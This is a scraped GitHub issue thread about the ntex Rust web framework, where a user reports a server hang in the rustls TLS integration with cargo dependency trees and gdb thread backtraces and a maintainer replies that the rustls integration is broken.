β β β β βββ futures-timer v3.0.2
β β β β βββ fxhash v0.2.1 (*)
β β β β βββ log v0.4.20
β β β β βββ ntex-rt v0.4.11
β β β β β βββ async-channel v2.1.1 (*)
β β β β β βββ futures-core v0.3.29
β β β β β βββ log v0.4.20
β β β β β βββ oneshot v0.1.6
β β β β β βββ tokio v1.34.0
β β β β β βββ bytes v1.5.0
β β β β β βββ libc v0.2.150
β β β β β βββ mio v0.8.9
β β β β β β βββ libc v0.2.150
β β β β β βββ num_cpus v1.16.0
β β β β β β βββ libc v0.2.150
β β β β β βββ parking_lot v0.12.1
β β β β β β βββ lock_api v0.4.11
β β β β β β β βββ scopeguard v1.2.0
β β β β β β β [build-dependencies]
β β β β β β β βββ autocfg v1.1.0
β β β β β β βββ parking_lot_core v0.9.9
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ libc v0.2.150
β β β β β β βββ smallvec v1.11.2
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ signal-hook-registry v1.4.1
β β β β β β βββ libc v0.2.150
β β β β β βββ socket2 v0.5.5
β β β β β β βββ libc v0.2.150
β β β β β βββ tokio-macros v2.2.0 (proc-macro)
β β β β β βββ proc-macro2 v1.0.70 (*)
β β β β β βββ quote v1.0.33 (*)
β β β β β βββ syn v2.0.39 (*)
β β β β βββ ntex-service v1.2.7 (*)
β β β β βββ pin-project-lite v0.2.13
β β β β βββ slab v0.4.9 (*)
β β β βββ pin-project-lite v0.2.13
β β βββ ntex-rt v0.4.11 (*)
β β βββ ntex-service v1.2.7 (*)
β β βββ ntex-tls v0.3.3
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-io v0.3.13 (*)
β β β βββ ntex-service v1.2.7 (*)
β β β βββ ntex-util v0.3.4 (*)
β β β βββ pin-project-lite v0.2.13
β β β βββ rustls v0.21.9
β β β βββ log v0.4.20
β β β βββ ring v0.17.6
β β β β βββ getrandom v0.2.11 (*)
β β β β βββ spin v0.9.8
β β β β β βββ lock_api v0.4.11 (*)
β β β β βββ untrusted v0.9.0
β β β β [build-dependencies]
β β β β βββ cc v1.0.83 (*)
β β β βββ rustls-webpki v0.101.7
β β β β βββ ring v0.17.6 (*)
β β β β βββ untrusted v0.9.0
β β β βββ sct v0.7.1
β β β βββ ring v0.17.6 (*)
β β β βββ untrusted v0.9.0
β β βββ ntex-tokio v0.3.1
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-io v0.3.13 (*)
β β β βββ ntex-util v0.3.4 (*)
β β β βββ pin-project-lite v0.2.13
β β β βββ tokio v1.34.0 (*)
β β βββ ntex-util v0.3.4 (*)
β β βββ rustls v0.21.9 (*)
β β βββ thiserror v1.0.50
β β β βββ thiserror-impl v1.0.50 (proc-macro)
β β β βββ proc-macro2 v1.0.70 (*)
β β β βββ quote v1.0.33 (*)
β β β βββ syn v2.0.39 (*)
β β βββ webpki-roots v0.25.3
β βββ ntex-h2 v0.4.4
β β βββ bitflags v2.4.1
β β βββ fxhash v0.2.1 (*)
β β βββ log v0.4.20
β β βββ nanorand v0.7.0
β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-codec v0.6.2 (*)
β β βββ ntex-connect v0.3.2 (*)
β β βββ ntex-http v0.1.11 (*)
β β βββ ntex-io v0.3.13 (*)
β β βββ ntex-rt v0.4.11 (*)
β β βββ ntex-service v1.2.7 (*)
β β βββ ntex-util v0.3.4 (*)
β β βββ pin-project-lite v0.2.13
β β βββ thiserror v1.0.50 (*)
β βββ ntex-http v0.1.11 (*)
β βββ ntex-io v0.3.13 (*)
β βββ ntex-macros v0.1.3 (proc-macro)
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109 (*)
β βββ ntex-router v0.5.2
β β βββ http v0.2.11 (*)
β β βββ log v0.4.20
β β βββ ntex-bytes v0.1.21 (*)
β β βββ regex v1.10.2
β β β βββ aho-corasick v1.1.2
β β β β βββ memchr v2.6.4
β β β βββ memchr v2.6.4
β β β βββ regex-automata v0.4.3
β β β β βββ aho-corasick v1.1.2 (*)
β β β β βββ memchr v2.6.4
β β β β βββ regex-syntax v0.8.2
β β β βββ regex-syntax v0.8.2
β β βββ serde v1.0.193 (*)
β βββ ntex-rt v0.4.11 (*)
β βββ ntex-service v1.2.7 (*)
β βββ ntex-tls v0.3.3 (*)
β βββ ntex-tokio v0.3.1 (*)
β βββ ntex-util v0.3.4 (*)
β βββ oneshot v0.1.6
β βββ percent-encoding v2.3.1
β βββ pin-project-lite v0.2.13
β βββ polling v3.3.1
β β βββ cfg-if v1.0.0
β β βββ rustix v0.38.26
β β β βββ bitflags v2.4.1
β β β βββ linux-raw-sys v0.4.12
β β βββ tracing v0.1.40
β β βββ pin-project-lite v0.2.13
β β βββ tracing-core v0.1.32
β β βββ once_cell v1.18.0
β βββ regex v1.10.2 (*)
β βββ rustls v0.21.9 (*)
β βββ serde v1.0.193 (*)
β βββ serde_json v1.0.108
β β βββ itoa v1.0.9
β β βββ ryu v1.0.15
β β βββ serde v1.0.193 (*)
β βββ serde_urlencoded v0.7.1
β β βββ form_urlencoded v1.2.1
β β β βββ percent-encoding v2.3.1
β β βββ itoa v1.0.9
β β βββ ryu v1.0.15
β β βββ serde v1.0.193 (*)
β βββ sha-1 v0.10.1
β β βββ cfg-if v1.0.0
β β βββ cpufeatures v0.2.11
β β βββ digest v0.10.7
β β βββ block-buffer v0.10.4
β β β βββ generic-array v0.14.7 (*)
β β βββ crypto-common v0.1.6 (*)
β βββ socket2 v0.5.5 (*)
β βββ thiserror v1.0.50 (*)
β βββ webpki-roots v0.25.3
βββ clia-ntex-files v0.3.0
β βββ bitflags v2.4.1
β βββ derive_more v0.99.17 (proc-macro) (*)
β βββ futures v0.3.29 (*)
β βββ http v0.2.11 (*)
β βββ httpdate v1.0.3
β βββ language-tags v0.3.2
β βββ log v0.4.20
β βββ mime v0.3.17
β βββ mime_guess v2.0.4
β β βββ mime v0.3.17
β β βββ unicase v2.7.0
β β [build-dependencies]
β β βββ version_check v0.9.4
β β [build-dependencies]
β β βββ unicase v2.7.0 (*)
β βββ ntex v0.7.13 (*)
β βββ ntex-http v0.1.11 (*)
β βββ percent-encoding v2.3.1
β βββ unicase v2.7.0 (*)
β βββ v_htmlescape v0.15.8
βββ data-rw v1.6.4
β βββ anyhow v1.0.75
β βββ auto_impl v1.1.0 (proc-macro)
β β βββ proc-macro-error v1.0.4
β β β βββ proc-macro-error-attr v1.0.4 (proc-macro)
β β β β βββ proc-macro2 v1.0.70 (*)
β β β β βββ quote v1.0.33 (*)
β β β β [build-dependencies]
β β β β βββ version_check v0.9.4
β β β βββ proc-macro2 v1.0.70 (*)
β β β βββ quote v1.0.33 (*)
β β β βββ syn v1.0.109 (*)
β β β [build-dependencies]
β β β βββ version_check v0.9.4
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109 (*)
β βββ cfg-if v1.0.0
β βββ paste v1.0.14 (proc-macro)
β βββ rmp-serde v1.1.2
β β βββ byteorder v1.5.0
β β βββ rmp v0.8.12
β β β βββ byteorder v1.5.0
β β β βββ num-traits v0.2.17
β β β β [build-dependencies]
β β β β βββ autocfg v1.1.0
β β β βββ paste v1.0.14 (proc-macro)
β β βββ serde v1.0.193 (*)
β βββ serde v1.0.193 (*)
βββ dlib-face-recognition v0.3.0 (/root/face_https_server/dlib-face-recognition)
β βββ bzip2 v0.4.4
β β βββ bzip2-sys v0.1.11+1.0.8
β β β βββ libc v0.2.150
β β β [build-dependencies]
β β β βββ cc v1.0.83 (*)
β β β βββ pkg-config v0.3.27
β β βββ libc v0.2.150
β βββ cpp v0.5.9
β β βββ cpp_macros v0.5.9 (proc-macro)
β β βββ aho-corasick v1.1.2 (*)
β β βββ byteorder v1.5.0
β β βββ cpp_common v0.5.9
β β β βββ lazy_static v1.4.0
β β β βββ proc-macro2 v1.0.70 (*)
β β β βββ syn v2.0.39 (*)
β β βββ lazy_static v1.4.0
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v2.0.39 (*)
β βββ dlib-face-recognition-sys v19.24.0-rc.1 (/root/face_https_server/dlib-face-recognition/sys)
β β [build-dependencies]
β β βββ cmake v0.1.50
β β β βββ cc v1.0.83 (*)
β β βββ fs_extra v1.3.0
β β βββ glob v0.3.1
β β βββ pkg-config v0.3.27
β β βββ reqwest v0.11.22
β β β βββ base64 v0.21.5
β β β βββ bytes v1.5.0
β β β βββ encoding_rs v0.8.33 (*)
β β β βββ futures-core v0.3.29
β β β βββ futures-util v0.3.29
β β β β βββ futures-core v0.3.29
β β β β βββ futures-io v0.3.29
β β β β βββ futures-task v0.3.29
β β β β βββ memchr v2.6.4
β β β β βββ pin-project-lite v0.2.13
β β β β βββ pin-utils v0.1.0
β β β β βββ slab v0.4.9 (*)
β β β βββ h2 v0.3.22
β β β β βββ bytes v1.5.0
β β β β βββ fnv v1.0.7
β β β β βββ futures-core v0.3.29
β β β β βββ futures-sink v0.3.29
β β β β βββ futures-util v0.3.29 (*)
β β β β βββ http v0.2.11 (*)
β β β β βββ indexmap v2.1.0
β β β β β βββ equivalent v1.0.1
β β β β β βββ hashbrown v0.14.3
β β β β βββ slab v0.4.9 (*)
β β β β βββ tokio v1.34.0
β β β β β βββ bytes v1.5.0
β β β β β βββ libc v0.2.150
β β β β β βββ mio v0.8.9 (*)
β β β β β βββ num_cpus v1.16.0 (*)
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ socket2 v0.5.5 (*)
β β β β βββ tokio-util v0.7.10
β β β β β βββ bytes v1.5.0
β β β β β βββ futures-core v0.3.29
β β β β β βββ futures-sink v0.3.29
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ tokio v1.34.0 (*)
β β β β β βββ tracing v0.1.40 (*)
β β β β βββ tracing v0.1.40 (*)
β β β βββ http v0.2.11 (*)
β β β βββ http-body v0.4.5
β β β β βββ bytes v1.5.0
β β β β βββ http v0.2.11 (*)
β β β β βββ pin-project-lite v0.2.13
β β β βββ hyper v0.14.27
β β β β βββ bytes v1.5.0
β β β β βββ futures-channel v0.3.29
β β β β β βββ futures-core v0.3.29
β β β β βββ futures-core v0.3.29
β β β β βββ futures-util v0.3.29 (*)
β β β β βββ h2 v0.3.22 (*)
β β β β βββ http v0.2.11 (*)
β β β β βββ http-body v0.4.5 (*)
β β β β βββ httparse v1.8.0
β β β β βββ httpdate v1.0.3
β β β β βββ itoa v1.0.9
β β β β βββ pin-project-lite v0.2.13
β β β β βββ socket2 v0.4.10
β β β β β βββ libc v0.2.150
β β β β βββ tokio v1.34.0 (*)
β β β β βββ tower-service v0.3.2
β β β β βββ tracing v0.1.40 (*)
β β β β βββ want v0.3.1
β β β β βββ try-lock v0.2.4
β β β βββ hyper-tls v0.5.0
β β β β βββ bytes v1.5.0
β β β β βββ hyper v0.14.27 (*)
β β β β βββ native-tls v0.2.11
β β β β β βββ log v0.4.20
β β β β β βββ openssl v0.10.61
β β β β β β βββ bitflags v2.4.1
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ foreign-types v0.3.2
β β β β β β β βββ foreign-types-shared v0.1.1
β β β β β β βββ libc v0.2.150
β β β β β β βββ once_cell v1.18.0
β β β β β β βββ openssl-macros v0.1.1 (proc-macro)
β β β β β β β βββ proc-macro2 v1.0.70 (*)
β β β β β β β βββ quote v1.0.33 (*)
β β β β β β β βββ syn v2.0.39 (*)
β β β β β β βββ openssl-sys v0.9.97
β β β β β β βββ libc v0.2.150
β β β β β β [build-dependencies]
β β β β β β βββ cc v1.0.83 (*)
β β β β β β βββ pkg-config v0.3.27
β β β β β β βββ vcpkg v0.2.15
β β β β β βββ openssl-probe v0.1.5
β β β β β βββ openssl-sys v0.9.97 (*)
β β β β βββ tokio v1.34.0 (*)
β β β β βββ tokio-native-tls v0.3.1
β β β β βββ native-tls v0.2.11 (*)
β β β β βββ tokio v1.34.0 (*)
β β β βββ ipnet v2.9.0
β β β βββ log v0.4.20
β β β βββ mime v0.3.17
β β β βββ native-tls v0.2.11 (*)
β β β βββ once_cell v1.18.0
β β β βββ percent-encoding v2.3.1
β β β βββ pin-project-lite v0.2.13
β β β βββ serde v1.0.193
β β β βββ serde_urlencoded v0.7.1 (*)
β β β βββ tokio v1.34.0 (*)
β β β βββ tokio-native-tls v0.3.1 (*)
β β β βββ tower-service v0.3.2
β β β βββ url v2.5.0
β β β βββ form_urlencoded v1.2.1 (*)
β β β βββ idna v0.5.0
β β β β βββ unicode-bidi v0.3.13
β β β β βββ unicode-normalization v0.1.22
β β β β βββ tinyvec v1.6.0
β β β β βββ tinyvec_macros v0.1.1
β β β βββ percent-encoding v2.3.1
β β βββ zip v0.5.13
β β βββ byteorder v1.5.0
β β βββ bzip2 v0.4.4 (*)
β β βββ crc32fast v1.3.2 (*)
β β βββ flate2 v1.0.28
β β β βββ crc32fast v1.3.2 (*)
β β β βββ miniz_oxide v0.7.1
β β β βββ adler v1.0.2
β β βββ thiserror v1.0.50 (*)
β β βββ time v0.1.45
β β βββ libc v0.2.150
β βββ image v0.24.7
β β βββ bytemuck v1.14.0
β β βββ byteorder v1.5.0
β β βββ color_quant v1.1.0
β β βββ exr v1.71.0
β β β βββ bit_field v0.10.2
β β β βββ flume v0.11.0
β β β β βββ spin v0.9.8 (*)
β β β βββ half v2.2.1
β β β βββ lebe v0.5.2
β β β βββ miniz_oxide v0.7.1 (*)
β β β βββ rayon-core v1.12.0
β β β β βββ crossbeam-deque v0.8.3
β β β β β βββ cfg-if v1.0.0
β β β β β βββ crossbeam-epoch v0.9.15
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ crossbeam-utils v0.8.16 (*)
β β β β β β βββ memoffset v0.9.0
β β β β β β β [build-dependencies]
β β β β β β β βββ autocfg v1.1.0
β β β β β β βββ scopeguard v1.2.0
β β β β β β [build-dependencies]
β β β β β β βββ autocfg v1.1.0
β β β β β βββ crossbeam-utils v0.8.16 (*)
β β β β βββ crossbeam-utils v0.8.16 (*)
β β β βββ smallvec v1.11.2
β β β βββ zune-inflate v0.2.54
β β β βββ simd-adler32 v0.3.7
β β βββ gif v0.12.0
β β β βββ color_quant v1.1.0
β β β βββ weezl v0.1.7
β β βββ jpeg-decoder v0.3.0
β β β βββ rayon v1.8.0
β β β βββ either v1.9.0
β β β βββ rayon-core v1.12.0 (*)
β β βββ num-rational v0.4.1
β β β βββ num-integer v0.1.45
β β β β βββ num-traits v0.2.17 (*)
β β β β [build-dependencies]
β β β β βββ autocfg v1.1.0
β β β βββ num-traits v0.2.17 (*)
β β β [build-dependencies]
β β β βββ autocfg v1.1.0
β β βββ num-traits v0.2.17 (*)
β β βββ png v0.17.10
β β β βββ bitflags v1.3.2
β β β βββ crc32fast v1.3.2 (*)
β β β βββ fdeflate v0.3.1
β β β β βββ simd-adler32 v0.3.7
β β β βββ flate2 v1.0.28 (*)
β β β βββ miniz_oxide v0.7.1 (*)
β β βββ qoi v0.4.1
β β β βββ bytemuck v1.14.0
β β βββ tiff v0.9.0
β β βββ flate2 v1.0.28 (*)
β β βββ jpeg-decoder v0.3.0 (*)
β β βββ weezl v0.1.7
β βββ reqwest v0.11.22 (*)
β [build-dependencies]
β βββ cpp_build v0.5.9
β βββ cc v1.0.83 (*)
β βββ cpp_common v0.5.9 (*)
β βββ lazy_static v1.4.0
β βββ proc-macro2 v1.0.70 (*)
β βββ regex v1.10.2 (*)
β βββ syn v2.0.39 (*)
β βββ unicode-xid v0.2.4
βββ flexi_logger v0.25.6
β βββ chrono v0.4.31
β β βββ iana-time-zone v0.1.58
β β βββ num-traits v0.2.17 (*)
β βββ crossbeam-channel v0.5.8
β β βββ cfg-if v1.0.0
β β βββ crossbeam-utils v0.8.16 (*)
β βββ crossbeam-queue v0.3.8
β β βββ cfg-if v1.0.0
β β βββ crossbeam-utils v0.8.16 (*)
β βββ glob v0.3.1
β βββ is-terminal v0.4.9
β β βββ rustix v0.38.26 (*)
β βββ lazy_static v1.4.0
β βββ log v0.4.20
β βββ nu-ansi-term v0.49.0
β βββ regex v1.10.2 (*)
β βββ thiserror v1.0.50 (*)
βββ futures v0.3.29 (*)
βββ image v0.24.7 (*)
βββ lazy_static v1.4.0
βββ log v0.4.20
βββ ntex v0.7.13 (*)
βββ rustls v0.21.9 (*)
βββ rustls-pemfile v1.0.4
β βββ base64 v0.21.5
βββ serde v1.0.193 (*)
βββ serde_json v1.0.108 (*)
βββ tokio v1.34.0 (*)
[build-dependencies]
βββ anyhow v1.0.75
βββ vergen v8.1.3
βββ anyhow v1.0.75
βββ rustc_version v0.4.0 (*)
βββ sysinfo v0.28.4
β βββ cfg-if v1.0.0
β βββ libc v0.2.150
β βββ once_cell v1.18.0
βββ time v0.3.30
βββ deranged v0.3.10
β βββ powerfmt v0.2.0
βββ itoa v1.0.9
βββ powerfmt v0.2.0
βββ time-core v0.1.2
[build-dependencies]
βββ rustversion v1.0.14 (proc-macro)
current ntex-io version is 0.3.13,i will upgrade to 0.3.16 to continue testing. hope it will be helpful to you
from ntex.
I got a new blocking problem. The versions:
root@61d25de9f412:~/github.com/clia/blog-server# cargo tree | grep ntex
βββ clia-ntex-files-mod v0.3.0
β βββ ntex v0.7.16
β β βββ ntex-bytes v0.1.21
β β βββ ntex-codec v0.6.2
β β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-connect v0.3.4
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-http v0.1.11
β β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-io v0.3.16
β β β β βββ ntex-bytes v0.1.21 (*)
β β β β βββ ntex-codec v0.6.2 (*)
β β β β βββ ntex-service v1.2.7
β β β β βββ ntex-util v0.3.4
β β β β β βββ ntex-rt v0.4.11
β β β β β βββ ntex-service v1.2.7 (*)
β β β βββ ntex-rt v0.4.11 (*)
β β β βββ ntex-service v1.2.7 (*)
β β β βββ ntex-tls v0.3.3
β β β β βββ ntex-bytes v0.1.21 (*)
β β β β βββ ntex-io v0.3.16 (*)
β β β β βββ ntex-service v1.2.7 (*)
β β β β βββ ntex-util v0.3.4 (*)
β β β βββ ntex-tokio v0.3.1
β β β β βββ ntex-bytes v0.1.21 (*)
β β β β βββ ntex-io v0.3.16 (*)
β β β β βββ ntex-util v0.3.4 (*)
β β β βββ ntex-util v0.3.4 (*)
β β βββ ntex-h2 v0.4.4
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-codec v0.6.2 (*)
β β β βββ ntex-connect v0.3.4 (*)
β β β βββ ntex-http v0.1.11 (*)
β β β βββ ntex-io v0.3.16 (*)
β β β βββ ntex-rt v0.4.11 (*)
β β β βββ ntex-service v1.2.7 (*)
β β β βββ ntex-util v0.3.4 (*)
β β βββ ntex-http v0.1.11 (*)
β β βββ ntex-io v0.3.16 (*)
β β βββ ntex-macros v0.1.3 (proc-macro)
β β βββ ntex-router v0.5.2
β β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-rt v0.4.11 (*)
β β βββ ntex-service v1.2.7 (*)
β β βββ ntex-tls v0.3.3 (*)
β β βββ ntex-tokio v0.3.1 (*)
β β βββ ntex-util v0.3.4 (*)
β βββ ntex-http v0.1.11 (*)
βββ clia-ntex-session v0.3.0
β βββ ntex v0.7.16 (*)
β βββ clia-ntex-files-mod v0.3.0 (*)
β βββ clia-ntex-session v0.3.0 (*)
β βββ ntex v0.7.16 (*)
β βββ ntex v0.7.16 (*)
βββ ntex v0.7.16 (*)
root@61d25de9f412:~/github.com/clia/blog-server# cargo tree | grep rustls
β βββ rustls v0.19.1
β β β β βββ rustls v0.21.10
β β β β βββ rustls-webpki v0.101.7
β β β βββ rustls v0.21.10 (*)
β β βββ rustls v0.21.10 (*)
β βββ rustls v0.21.10 (*)
β βββ rustls-pemfile v1.0.4
βββ rustls v0.21.10 (*)
βββ rustls-pemfile v1.0.4 (*)
β βββ rustls-pemfile v2.0.0
β β βββ rustls-pki-types v1.0.1
β βββ tokio-rustls v0.25.0
β β βββ rustls v0.22.1
β β β βββ rustls-pki-types v1.0.1
β β β βββ rustls-webpki v0.102.0
β β β β βββ rustls-pki-types v1.0.1
β β βββ rustls-pki-types v1.0.1
The gdb
backtraces:
(gdb) thread apply all bt
Thread 4 (Thread 0x7f14d0d91640 (LWP 1263) "futures-timer"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x0000558652ff8b14 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 0x0000558652fe9efc in std::sys_common::thread_parking::futex::Parker::park_timeout () at library/std/src/sys_common/thread_parking/futex.rs:72
#3 std::thread::park_timeout () at library/std/src/thread/mod.rs:1055
#4 0x0000558652fcaf0a in futures_timer::native::global::run ()
#5 0x0000558652fc9a42 in _ZN3std10sys_common9backtrace28__rust_begin_short_backtrace17he42eaee26e9495c7E.llvm.16274683731236015848 ()
#6 0x0000558652fc922e in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#7 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#8 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#9 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#10 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#11 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 3 (Thread 0x7f14d0f95640 (LWP 1130) "ntex-server acc"):
#0 0x0000558652e67c6e in polling::epoll::Poller::wait ()
#1 0x0000558652e6a49b in polling::Poller::wait ()
#2 0x0000558652d5a91d in ntex::server::accept::Accept::poll ()
#3 0x0000558652d36ef8 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#4 0x0000558652d496b2 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#5 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#6 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#7 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#8 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#9 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f14d1199640 (LWP 1129) "ntex-rt:worker:"):
#0 0x0000558652b1fe95 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#1 0x0000558652aa17fe in ntex_io::buf::Stack::write_buf::{{closure}} ()
#2 0x0000558652aa07ee in ntex_io::buf::Stack::get_buffers ()
#3 0x0000558652adb439 in <ntex_util::time::Timeout<T> as core::future::future::Future>::poll ()
#4 0x0000558652a81c8b in _ZN81_$LT$ntex_tls..rustls..TlsAcceptor$u20$as$u20$ntex_io..FilterFactory$LT$F$GT$$GT$6create28_$u7b$$u7b$closure$u7d$$u7d$17hd1ce7b928940c82dE.llvm.4459778494269389012 ()
#5 0x0000558652b13797 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#6 0x0000558652b133ee in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x0000558652b0400d in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#8 0x0000558652b1493a in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#9 0x0000558652aa5c42 in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#10 0x0000558652d34581 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#11 0x0000558652d2fc17 in tokio::runtime::task::core::Core<T,S>::poll ()
#12 0x0000558652d75852 in tokio::runtime::task::harness::Harness<T,S>::poll ()
#13 0x0000558652fb020b in tokio::task::local::LocalSet::tick ()
#14 0x0000558652f8e0a0 in <tokio::task::local::RunUntil<T> as core::future::future::Future>::poll ()
#15 0x0000558652f86529 in <core::pin::Pin<P> as core::future::future::Future>::poll ()
#16 0x0000558652f95cf7 in tokio::runtime::scheduler::current_thread::Context::enter ()
#17 0x0000558652f92150 in tokio::runtime::context::scoped::Scoped<T>::set ()
#18 0x0000558652f97115 in tokio::runtime::context::set_scheduler ()
#19 0x0000558652f960ea in tokio::runtime::scheduler::current_thread::CoreGuard::block_on ()
#20 0x0000558652f8bc76 in tokio::runtime::context::runtime::enter_runtime ()
#21 0x0000558652f9991f in tokio::runtime::runtime::Runtime::block_on ()
#22 0x0000558652f93577 in ntex_rt::tokio::block_on ()
#23 0x0000558652f90465 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#24 0x0000558652f90ab8 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#25 0x0000558652ff9ca5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#26 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#27 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#28 0x00007f14d181dac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#29 0x00007f14d18af660 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
--Type <RET> for more, q to quit, c to continue without paging--c
Thread 1 (Thread 0x7f14d1784c80 (LWP 1126) "blog-server"):
#0 0x00007f14d18aec3e in epoll_wait (epfd=3, events=0x558655399b60, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x0000558652fc364e in mio::sys::unix::selector::epoll::Selector::select ()
#2 0x0000558652fb2404 in _ZN5tokio7runtime2io6driver6Driver4turn17h33a90124619bb9e8E.llvm.15368327532848246403 ()
#3 0x0000558652fb3aad in _ZN5tokio7runtime4time6Driver13park_internal17h8fcd26aeb810800bE.llvm.12166240592461798796 ()
#4 0x0000558652fa15cc in tokio::runtime::scheduler::current_thread::Context::park ()
#5 0x0000558652a90bfc in tokio::runtime::context::scoped::Scoped<T>::set ()
#6 0x0000558652ada1d8 in tokio::runtime::context::set_scheduler ()
#7 0x0000558652a7eeaa in tokio::runtime::scheduler::current_thread::CoreGuard::block_on ()
#8 0x0000558652b0aeb7 in tokio::runtime::context::runtime::enter_runtime ()
#9 0x0000558652b0b135 in tokio::runtime::runtime::Runtime::block_on ()
#10 0x0000558652b03dd9 in ntex_rt::tokio::block_on ()
#11 0x0000558652aa2413 in blog_server::main ()
#12 0x0000558652b1aa53 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#13 0x0000558652b1b269 in _ZN3std2rt10lang_start28_$u7b$$u7b$closure$u7d$$u7d$17h70371851d734dac6E.llvm.4502820514158395797 ()
#14 0x0000558652fe97eb in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/core/src/ops/function.rs:284
#15 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:500
#16 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:464
#17 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:142
#18 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:148
#19 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:500
#20 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:464
#21 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:142
#22 std::rt::lang_start_internal () at library/std/src/rt.rs:148
#23 0x0000558652aa2565 in main ()
from ntex.
don't use ntex rustls integration, it is completely broken and needs to be rewritten.
How can I support the HTTP/2 protocol when using OpenSSL?
from ntex.
Related Issues (20)
- Please respect semantic versioning HOT 1
- 23Q4 Performance Regressions as Revealed in TechEmpower Results HOT 5
- compilation error below, how to resolve? HOT 2
- async-graphql integration example? HOT 2
- `ntex::time::timeout` is not accurate HOT 3
- [Bug] Unable to set length manually HOT 4
- Moving websocket to a feature HOT 3
- [ntex-server](Bug) Duplicates ctrlc_handler registration under win causing process crash HOT 2
- Program panicks upon ctrl+c HOT 3
- Wrong feature gate in ntex/ntex-net/src/compat.rs HOT 1
- Ntex runtime panic HOT 20
- How to convert web::types::Payload to AsyncRead HOT 1
- Is there a feature comparison with other frameworks ? HOT 1
- The `insert` method for `Extensions` does not return existed value HOT 1
- Compilation failed for windows HOT 2
- http client closes h2 connection HOT 1
